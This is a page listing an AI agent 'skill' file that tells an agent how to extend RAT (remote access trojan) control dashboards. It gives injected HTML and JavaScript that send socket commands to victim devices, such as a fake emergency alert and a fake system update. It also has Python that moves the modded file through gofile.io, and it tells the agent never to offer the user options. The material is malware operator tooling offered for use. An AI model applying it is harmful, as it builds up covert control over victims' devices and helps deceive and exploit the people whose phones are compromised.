Rat dashboard modding

From bolone-sengkuni/hermes-brutal-mod · View interactive version

Rat dashboard modding is an AI agent skill from the GitHub repository bolone-sengkuni/hermes-brutal-mod. Add features to RAT HTML dashboards via targeted injection.

How to use this skill

Skill file

RAT Dashboard Modding

Use when adding new features to existing RAT HTML dashboard interfaces (single-file HTML+CSS+JS).

When to Use

Critical User Preference

NEVER present options. Indonesian user demands: "GAUSAH PAKAI ATAU ATAU LU FIX LANSUNG YG TEGAS"

Workflow

1. Download Clean Version

import requests
r = requests.get('https://gofile.io/d/xxxxx')
# Parse download link, get HTML file

2. Parse Structure

Identify existing patterns:

3. Inject New Pages

Insert new page HTML BEFORE closing </body>:

<!-- EMERGENCY ALERT FEATURE -->
<div class="page" id="page-emergency">
  <div class="card">
    <h3>⚠️ Emergency Alert</h3>
    <input type="text" id="emergencyTitle" placeholder="Alert Title" />
    <textarea id="emergencyMessage" placeholder="Alert Message"></textarea>
    <button onclick="sendEmergencyAlert()">Send Alert</button>
  </div>
</div>

<!-- FAKE SYSTEM UPDATE FEATURE -->
<div class="page" id="page-fake-update">
  <div class="card">
    <h3>📱 Fake System Update</h3>
    <input type="number" id="updateDuration" placeholder="Duration (seconds)" value="30" />
    <button onclick="sendFakeUpdate()">Launch Fake Update</button>
  </div>
</div>

4. Inject Navigation Buttons

Add buttons to bottom nav, preserving existing structure:

<div class="bottom-nav">
  <!-- EXISTING BUTTONS STAY HERE -->
  <button onclick="goPage('emergency')" id="btn-emergency">
    <span>⚠️</span>Emergency
  </button>
  <button onclick="goPage('fake-update')" id="btn-fake-update">
    <span>📱</span>Fake Update
  </button>
</div>

5. Inject JavaScript Functions

Add new functions BEFORE closing </script>:

function sendEmergencyAlert() {
  const title = document.getElementById('emergencyTitle').value;
  const message = document.getElementById('emergencyMessage').value;
  
  if (!title || !message) {
    alert('Fill all fields!');
    return;
  }
  
  socket.emit('command', {
    id: currentDevice,
    cmd: 'emergency_alert',
    title: title,
    message: message
  });
  
  alert('Emergency alert sent!');
}

function sendFakeUpdate() {
  const duration = document.getElementById('updateDuration').value;
  
  socket.emit('command', {
    id: currentDevice,
    cmd: 'fake_system_update',
    duration: parseInt(duration)
  });
  
  alert('Fake update launched!');
}

6. Update Active State Handler

Modify goPage() function to include new pages in active button logic:

function goPage(page) {
  // Hide all pages
  document.querySelectorAll('.page').forEach(p => p.classList.remove('active'));
  
  // Show target page
  document.getElementById('page-' + page).classList.add('active');
  
  // Update button active states
  document.querySelectorAll('.bottom-nav button').forEach(btn => {
    btn.classList.remove('active');
  });
  
  // NEW: Add new page button IDs
  const btnMap = {
    'home': 'btn-home',
    'chat': 'btn-chat',
    'emergency': 'btn-emergency',        // NEW
    'fake-update': 'btn-fake-update'     // NEW
  };
  
  if (btnMap[page]) {
    document.getElementById(btnMap[page]).classList.add('active');
  }
}

7. Upload Result

# Upload to gofile.io
files = {'file': open('dashboard_modded.html', 'rb')}
r = requests.post('https://store1.gofile.io/uploadFile', files=files)
result = r.json()
download_link = f"https://gofile.io/d/{result['data']['code']}"

Injection Pattern Summary

  1. New Pages → Insert before </body>
  2. New Buttons → Insert in .bottom-nav container
  3. New Functions → Insert before closing </script>
  4. Active State → Update goPage() button map
  5. Socket Commands → Follow existing socket.emit('command', {...}) pattern

Socket Command Pattern

All RAT commands follow this structure:

socket.emit('command', {
  id: currentDevice,           // Target device ID
  cmd: 'command_name',         // Command identifier
  param1: value1,              // Command-specific params
  param2: value2
});

Common commands:

Pitfalls

Pitfall: Misunderstanding request scope

User says "tambahkan button dua fitur baru" = ADD 2 new buttons, not modify existing button

Pitfall: Breaking existing navigation

Injecting new buttons without updating goPage() button map breaks active state

Pitfall: Inserting in wrong location

Pages inserted AFTER </body> won't render

Pitfall: Inconsistent socket command structure

Using different command format than existing code breaks backend handling

Verification

After injection:

  1. Check all closing tags present (</div>, </script>, </body>)
  2. Verify button onclick handlers match goPage('page-name') format
  3. Confirm socket commands include id: currentDevice
  4. Test file size reasonable (<500KB for single HTML)

Related Skills

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.